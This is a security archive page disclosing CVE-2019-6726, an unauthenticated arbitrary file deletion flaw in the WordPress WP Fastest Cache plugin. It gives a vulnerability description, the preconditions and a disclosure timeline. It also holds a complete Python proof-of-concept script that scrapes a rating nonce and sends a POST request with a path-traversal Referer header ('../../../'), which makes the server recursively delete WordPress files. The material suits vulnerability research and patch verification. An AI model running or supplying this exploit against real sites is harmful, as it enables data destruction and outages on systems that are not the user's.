what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress WP Fastest Cache 0.8.9.0 Arbitrary File Deletion

WordPress WP Fastest Cache 0.8.9.0 Arbitrary File Deletion
Posted Mar 11, 2019
Authored by Sebastian Neef

WordPress WP Fastest Cache plugin versions 0.8.9.0 and below suffer from an arbitrary file deletion vulnerability.

tags | exploit, arbitrary
advisories | CVE-2019-6726
SHA-256 | 7dfc32d6c97f213e4afb3d338d1b15a271899fa857fcbb3a1e5f94bcac77d94e

WordPress WP Fastest Cache 0.8.9.0 Arbitrary File Deletion

Change Mirror Download
The wordpress plugin "WP Fastest Cache" [0] suffered from an arbitrary file deletion bug. 

# Description

A successful attack allows an unauthenticated attacker to specify a path to a directory from which files and directories will be deleted recursively. The vulnerable code path extracts the path portion of the referrer header and then uses string concatenation to build an absolute path. This path is then passed to the 'rm_folder_recursively' function which deletes folders and their files in a recursive manner.

Although a successful exploit leads to data loss and potentially a DoS against the website, because wordpress won't find important files to run, there are several requirements which need to be met:

- WP Fastest Cache is installed and the cache is activated
- Wordpress is configured to use 'pretty' URL schemes, like /<data>/<title> etc.
- WP Postratings [1] is installed
- At least one ratable post or page was published

# PoC / Exploit

A proof of concept and ready-to-use python exploit script exists at [2], but is in general as simple as finding a ratable post/page, extracting the nonce and sending a POST request with the malicious referrer header.

# Timeline
- 24.01.2019: Reported the vulnerability to the vendor
- 24.01.2019: CVE-2019-6726 assigned by MITRE
- 29.01.2019: Finished communication about possible fixes
- 17.02.2019: Vendor released fixed version
- 09.03.2019: Details published

Best,
Sebastian Neef
https://0day.work

[0] https://vi.wordpress.org/plugins/wp-fastest-cache/
[1] https://vi.wordpress.org/plugins/wp-postratings/
[2] https://0day.work/cve-2019-6726-arbitrary-file-deletion-in-wp-fastest-cache-0-8-8-1/


Proof of Concept

Here's a very basic PoC that will do the following:

Fetch the source code of the target URL
Parse out the nonce needed to post a rating
Post a rating for the given post using a malicious referrer
Thereby deleting important wordpress files and demonstrating the vulnerability.


#!/usr/bin/python
# PoC for CVE-2019-6726 by @gehaxelt

import requests
from bs4 import BeautifulSoup
#from requests.auth import HTTPBasicAuth

# The vulnerable page with a ratable post
BASE_URL = "http://localhost:7349/"
VOTE_PAGE = "rate-my-bobby-car-and-again/"
RATINGS_POST_OR_PAGE = "{}{}".format(BASE_URL, VOTE_PAGE)

# Send initial request to obtain nonce!
r = requests.get(RATINGS_POST_OR_PAGE)

# Parse returned HTML
bs = BeautifulSoup(r.content, "html5lib")

# Find span that has the nonce!
the_span = bs.find_all('span', attrs={'data-nonce' : True})[0]
nonce = the_span['data-nonce']
pid = the_span['id'].replace("post-ratings-", "")
print("the nonce is: ", nonce)
print("the pid is: ", pid)

burp0_url = "{}wp-admin/admin-ajax.php".format(BASE_URL)
burp0_headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0",
"Accept": "text/html, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Referer": "{}../../../".format(BASE_URL),
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"DNT": "1",
"Connection": "close",
}
burp0_data={"action": "postratings", "pid": pid, "rate": "5", "postratings_{}_nonce".format(pid): nonce}
r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
print("Response is: ", r.status_code)
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    50 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close